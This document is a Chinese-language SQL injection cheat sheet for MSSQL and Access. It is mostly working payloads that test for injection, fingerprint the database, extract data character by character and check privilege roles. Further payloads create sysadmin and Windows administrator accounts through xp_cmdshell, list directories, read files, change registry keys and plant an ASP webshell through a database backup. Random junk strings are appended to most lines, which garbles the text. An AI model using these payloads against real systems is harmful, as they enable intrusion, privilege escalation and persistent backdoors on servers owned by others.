1.判断是否有注入;and 1=1 ;and 1=2 \iA.{,VX
2.初步判断是否是mssql ;and user>0 _/J`v`}G
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3.注入参数是字符'and [查询条件] and ''=' n}dLfg*
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' )SHB1U25{
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5.判断数据库系统 t2,?+ q$x
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;and (select count(*) from sysobjects)>0 mssql <
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;and (select count(*) from msysobjects)>0 access h2y<vO
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 } "&Ye
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Cw l:
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 `PT'Lakf;3
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9.(1)猜字段的ascii值(access) D?G'1+RIT~
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aP]h03sS
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(2)猜字段的ascii值(mssql) eVzZfB-=4}
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Wjli(sT#-
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10.测试权限结构(mssql) {TvB3QOsj
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !xU[BCbfYV
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !8Y A1 o
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + (Jh$b_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;?y~ h$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }tQ^ch; Q
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- d(K}v\3!
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;and 1=(select IS_MEMBER('db_owner'));-- ,'n`]@0?\
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11.添加mssql和系统的帐户 !R![:T\,
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;exec master.dbo.sp_addlogin username;-- /I:&P Pff
;exec master.dbo.sp_password null,username,password;-- YRCOh:W*
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- nG-DtG^z
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;exec master.dbo.xp_cmdshell 'net user username password +p$lVnAt
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eCiI=HcW;
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8~F?%!X
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- mNsd&Rk'
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12.(1)遍历目录 viJP6fh
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;create table dirs(paths varchar(100), id int) S%e)br}
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 5?0~7^de
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;and (select top 1 paths from dirs)>0 -`NzBuV$2,
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9ji`.&#
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(2)遍历目录 S|fb'
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =&<d4'(Qk
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 dkeMiLm
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 mW~*GD~r
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 o$Y#C{wC%
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 s LWVgD
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13.mssql中的存储过程 clk]JA (
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xp_regenumvalues 注册表根键, 子键 y.-Kqa~
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D/=k9[b!
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xp_regread 根键,子键,键值名 li{!Jp5]1b
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;exec xp_regread j6j4M,UI43
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 `2]TPaWGh
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xp_regwrite 根键,子键, 值名, 值类型, 值 #$]8WSl
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 KT17I&:
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xp_regdeletevalue 根键,子键,值名 ]re}EB\Rs
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R&$fWV;'
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 !R@jbM
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14.mssql的backup创建webshell Q- w_@~
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use model EB@rIvUi,
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create table cmd(str image); ddbQFAQQQ
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insert into cmd(str) values (''); QjD=JC+
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backup database model to disk='c:\l.asp'; oKH+Q6S:
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15.mssql内置函数 !Rgj'{
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;and (select @@version)>0 获得Windows的版本号 nyxoa/
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa fwlicbs '
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;and (select user_name())>0 爆当前系统的连接用户 BR_fOIDc
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;and (select db_name())>0 得到当前连接的数据库 fn.;C
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16.简洁的webshell j)#yyK{k2s
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use model 6urU[t1
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create table cmd(str image); E25w^x2
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insert into cmd(str) values (''); rO YD[+
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backup database model to disk='g:\wwwtest\l.asp';